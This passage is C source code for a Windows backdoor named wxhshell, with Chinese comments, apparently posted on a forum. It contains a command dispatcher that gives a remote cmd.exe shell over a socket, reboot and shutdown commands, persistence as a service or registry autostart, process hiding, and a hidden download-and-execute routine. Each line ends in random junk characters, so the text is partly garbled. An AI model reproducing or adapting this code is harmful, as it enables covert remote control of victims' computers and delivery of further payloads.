  // 帮助 S(7ro]U9  
  case '?': { . BiCBp<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q);n<Z:X~  
    break; o-o'z'9  
  } Wq^qpN)5Y  
  // 安装 w^]6w\p  
  case 'i': { UQ4% Xp  
    if(Install()) nJ" '  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oTT7M`P3h  
    else _sbp6ZO_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sdS^e`S  
    break; 5/O'R9A4  
    } ++DG5`  
  // 卸载 \cCV6A[  
  case 'r': { =w$}m_AM  
    if(Uninstall()) w}CmfR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GLGz 2 ,#  
    else \o';"Q1H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z,|{fKtY}  
    break; qgDRu]ba  
    } }mZwd_cK  
  // 显示 wxhshell 所在路径 <r3J0)r}  
  case 'p': { $U/YR&vcw  
    char svExeFile[MAX_PATH]; {8I.`U  
    strcpy(svExeFile,"\n\r"); }cN@[3v  
      strcat(svExeFile,ExeFile); pD&& l!i&[  
        send(wsh,svExeFile,strlen(svExeFile),0); D_8x6`z  
    break; ;}'D16`j  
    } *cO sv  
  // 重启 j+HHQd7Y  
  case 'b': { L;od6<.*m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )*:`':_a  
    if(Boot(REBOOT)) Dwl3 Cj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n-TQ*&h]3S  
    else { ;.bm6(;  
    closesocket(wsh); WMj}kq)SY)  
    ExitThread(0); CSCN['x  
    } n>'Kp T9|  
    break; <G*nDFWf  
    } ooV*I|wcI  
  // 关机  ;vb8G$  
  case 'd': { 6[]]Y,Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !`7B^RZ  
    if(Boot(SHUTDOWN)) x\Y $+A,P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5xOvY  
    else { VAXT{s&4>  
    closesocket(wsh); u_).f<mUdF  
    ExitThread(0); {f{ZHi|  
    } x=#VX\5k:  
    break; D?Ux[Ozb  
    } K'h1szW  
  // 获取shell -Qn=|2Mm?  
  case 's': { )P|[r  
    CmdShell(wsh); ti &J  
    closesocket(wsh); 8?FbtBAn  
    ExitThread(0); HQ{JwW!m  
    break; ^S6u<,  
  } PpsIhMq@  
  // 退出 @ps1Dr4s  
  case 'x': { 1 tR_8lC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C^ )*Dsp  
    CloseIt(wsh); (os$B  
    break; zuJtpMn  
    } YA&g$!  
  // 离开 > 0<)=  
  case 'q': { CZbYAxNl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :EHJ\+kejX  
    closesocket(wsh); N&[D>G]>v  
    WSACleanup(); |_ G )qp;  
    exit(1); RV&^g*;E  
    break; cr;g5C V  
        } )3(;tT,$}^  
  } #M!!CX*k  
  } Iz[@^IUx=  
jM:Y' l]  
  // 提示信息 mYU9 trHV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |] Qg7m,O  
} _uJ"m8Tl  
  } a[2vjFf#C  
+S))3 5N[  
  return; 4R5D88= C  
} >s`J5I!  
eX_D/25 $  
// shell模块句柄 jV8q)=}*)  
int CmdShell(SOCKET sock) hkO sm6  
{ ujJI 1I  
STARTUPINFO si; 1bw{q.cmD  
ZeroMemory(&si,sizeof(si)); ;@ [ 0x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b$eXFi/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t^ZV|s 1  
PROCESS_INFORMATION ProcessInfo; }y%oT P&  
char cmdline[]="cmd"; [{r}u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &gI~LP  
  return 0; zB? V_aT  
} 0cT*z(  
,hVvve,j}  
// 自身启动模式 3<F  </  
int StartFromService(void) )(7&X45,k  
{ \a+(=s(;  
typedef struct CB&iI'  
{ DI;DECQl$  
  DWORD ExitStatus; c"n ?'e  
  DWORD PebBaseAddress; fBQ?|~:n  
  DWORD AffinityMask; 7u[j/l,  
  DWORD BasePriority; Gy[O)PEEh  
  ULONG UniqueProcessId; 3/#:~a9Q  
  ULONG InheritedFromUniqueProcessId; cJgBI(S5  
}   PROCESS_BASIC_INFORMATION; ,TRTRb;  
$#|gLVOQ  
PROCNTQSIP NtQueryInformationProcess; <94_@3  
(5Sivw*mP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IG3,XW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #oJ5k8Wy  
;}z\i  
  HANDLE             hProcess; u0`%+:]0  
  PROCESS_BASIC_INFORMATION pbi; p!/[K6u  
+`uY]Q ,O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^;c16  
  if(NULL == hInst ) return 0; %okzOKKX  
X{kpSA~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KFZm`,+69  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6{qIU}!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0q rqg]  
Y4IGDY*  
  if (!NtQueryInformationProcess) return 0; 5 |/9}^T  
ip~$X 2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KgW:@X7wvM  
  if(!hProcess) return 0; "KJ%|pg_C  
?6!]Nl1gr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >E,U>@+  
m4:^}O-#  
  CloseHandle(hProcess); T}3v(6ew4  
>h+349  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +\"-P72vjk  
if(hProcess==NULL) return 0; gDIBnH  
J1XL<7  
HMODULE hMod; Db"DG(  
char procName[255]; ;#MB7A  
unsigned long cbNeeded; al+ #y)+  
}qjCTEs}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v_<2H' *Q  
RwVaZJe)l  
  CloseHandle(hProcess); 1oKfy>ie  
_W3Y\cs,-  
if(strstr(procName,"services")) return 1; // 以服务启动 $W;b{H=F  
b6E<r>q  
  return 0; // 注册表启动 t\v+ogbk)  
} >5G>D~b  
C!C|\$)-  
// 主模块 ",>H(wJ8  
int StartWxhshell(LPSTR lpCmdLine)  Yav2q3  
{ dO7;}>F$n  
  SOCKET wsl; ?r_l8  
BOOL val=TRUE; bw&myzs  
  int port=0; =e?$M  
  struct sockaddr_in door; YwcPX`eg  
A$.fv5${  
  if(wscfg.ws_autoins) Install(); //Ai.Q.J[  
Gs2p5nL<  
port=atoi(lpCmdLine);  ,YhwpkL  
,%YBG1E[y  
if(port<=0) port=wscfg.ws_port; #%@MGrsK  
u-"c0@  
  WSADATA data; -=698h*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; htP|3B  
1nPZ<^A&@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w{ `|N$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #0;HOeIiH  
  door.sin_family = AF_INET; (Vg}Hh?p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q)af|GW$  
  door.sin_port = htons(port); {0!#>["<  
OlD`uA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X5 ITF)&  
closesocket(wsl); ^/Sh=4=G  
return 1; mKq"3 4F  
} *^ \FIUd  
2i|B=D(  
  if(listen(wsl,2) == INVALID_SOCKET) { %]p6Kn/>  
closesocket(wsl); c<+;4z  
return 1; %f8Qa"j  
} @U -$dw'4  
  Wxhshell(wsl); +rWZ|&r%  
  WSACleanup(); G%# 05jH  
TOLl@p]lU  
return 0; }jSj+*  
N_75-S7Cm  
} # fhEc;t  
^%y`u1ab  
// 以NT服务方式启动 {F|48P;J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .I$}KE)  
{ ^;F{)bmu+)  
DWORD   status = 0; ;HOPABWz)  
  DWORD   specificError = 0xfffffff; #ZiT-  
dPjhq(8 zU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <@bA?FY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ix Z)tNz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u}6v?!  
  serviceStatus.dwWin32ExitCode     = 0; w?csV8ot  
  serviceStatus.dwServiceSpecificExitCode = 0; !p 8psi0  
  serviceStatus.dwCheckPoint       = 0; ;LJ3c7$@lf  
  serviceStatus.dwWaitHint       = 0; t^E hE  
d`Q7"}uZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wb"RB A9  
  if (hServiceStatusHandle==0) return; rn.\tDeA  
cy~oPj]j  
status = GetLastError(); j?n+>/sG,  
  if (status!=NO_ERROR) P"7ow-  
{ 2Ohp]G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kpob b  
    serviceStatus.dwCheckPoint       = 0; &~5=K  
    serviceStatus.dwWaitHint       = 0; [6(Iwz?  
    serviceStatus.dwWin32ExitCode     = status; G%TL/Z40  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ua*&_~7kJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !D.0 (J  
    return; j nwQV  
  } E@ h y7X  
l54|Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FquFRx  
  serviceStatus.dwCheckPoint       = 0; Tvf~P w  
  serviceStatus.dwWaitHint       = 0; (*l2('e#@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~tm0QrJn/  
} ST8!i`Q$  
7y*ZXT]f  
// 处理NT服务事件,比如:启动、停止 k3@HI|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VGH/X.NJ  
{ |;;!8VO3J  
switch(fdwControl) F}ukZ DB  
{ Y9}8M27vQG  
case SERVICE_CONTROL_STOP: evl -V>   
  serviceStatus.dwWin32ExitCode = 0; DpL8'Dib  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S-E++f9D~  
  serviceStatus.dwCheckPoint   = 0; heD,& OX  
  serviceStatus.dwWaitHint     = 0; XKLF8~y8A  
  { ?p8k{N(1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c 8'Cq7  
  } 2DMrMmLI  
  return; WBppKj_M  
case SERVICE_CONTROL_PAUSE:  5) lW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W$\X~Q'0  
  break; jv}=&d  
case SERVICE_CONTROL_CONTINUE: w;`m- 9<Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VfSGCe  
  break; lQt% Qx  
case SERVICE_CONTROL_INTERROGATE: +?N}Y{Y&  
  break; ^GXEJU 7U  
}; J^H =i)A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IKf`[_,t]  
} )bWrd $X  
O<,r>b,  
// 标准应用程序主函数 ,@Z_{,b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rlc$; Z9K  
{ rpU/s@%L  
v}il(w;O  
// 获取操作系统版本 a[O6YgO  
OsIsNt=GetOsVer(); cNP/<8dq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0P 5BArJ?  
kP,7Li\  
  // 从命令行安装 VbxAd 2')  
  if(strpbrk(lpCmdLine,"iI")) Install(); F ! )-|n}  
U'3Fou}  
  // 下载执行文件 +0#JnqH"  
if(wscfg.ws_downexe) { Hql5oA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `facFt[\  
  WinExec(wscfg.ws_filenam,SW_HIDE); }V^e7d  
} WV_`1hZX  
52<~K  
if(!OsIsNt) { {^&k!H2  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;mJkqbVol  
HideProc(); 8gpBz'/,  
StartWxhshell(lpCmdLine); Tt6{WDscZ  
} r>3^kL5UI  
else TU%"jb5  
  if(StartFromService()) 0^\/ERK  
  // 以服务方式启动 o8D{dS>,PL  
  StartServiceCtrlDispatcher(DispatchTable); vw r RZ"2  
else @6%gIsj<H  
  // 普通方式启动 2YIF=YWO},  
  StartWxhshell(lpCmdLine); G)+Ff5e0L[  
6D*chvNA;  
return 0; Z ps&[;R$-  
}
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只看该作者 1 发表于: 2006-10-10
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